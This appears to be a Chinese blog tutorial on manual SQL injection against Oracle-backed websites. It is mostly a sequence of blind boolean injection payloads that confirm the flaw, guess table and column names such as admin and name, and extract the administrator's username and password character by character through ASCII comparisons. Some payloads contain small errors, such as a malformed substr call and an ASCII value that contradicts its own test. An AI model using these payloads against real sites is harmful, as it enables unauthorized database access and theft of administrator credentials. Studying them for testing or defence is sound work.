Oracle数据库手工注入


一、出现注入点的原因:程序员在编写代码时没有对用户输入的字符进行特殊处理。导致用户输入的特殊字符附带在参数中直接与数据库进行交互。

二、注入过程
1、打开一个连接地址:在网址后面加and 1=1 正常,and 1=2 错误。说明存在注入漏洞、

2、判断一下数据库中的表
and (select count(*) from admin)<>0返回正常。说明存在admin表。如果返回错误,可将admin改为username、manage等常用表名继续猜解、

3、判断一下该网站有几个管理员。
and (select count(*) from admin)=1 返回正常说明只有一个管理员

4、已知表的前提下,判断表中字段结构。
and (select count(name) from admin)>=0 返回正常,说明存在name字段
and (select count(pass) from admin)>=0 返回错误,说明不存在pass字段

5、采用ASCII码折半猜解管理员账号和密码:
判断管理员账号的长度:
and (select count(*) from admin where length(name)>=5)=1
//*length()函数用于求字符串长度,此处用来猜解用户名的长度和5做比较,猜测用户名是否由5个字符组成

判断管理员账号的值:
and (select count(*) from admin where ascii(substr(name,1.1))>=97)=1
//*substr()函数用于截取字符串,ascii()函数用于获取字符的ascii码、此处的意思是截取name字段的第一个字符,获取它的ascii码值,查询ascii码表可知94

相同方法猜解密码
and (select count(*) from admin where length(pwd)>=8)=1,返回正常,即密码长度为8,此时可以判断密码应该为明文
and (select count(*) from admin where ascii(substr(pwd,2,1))>=100)=1,返回正常,为字符d

  ......重复操作......

and (select count(*) from admin where ascii(substr(pwd,8,1))>=56)=1,返回正常,为数字8
and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1,返回正常,为字符a
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值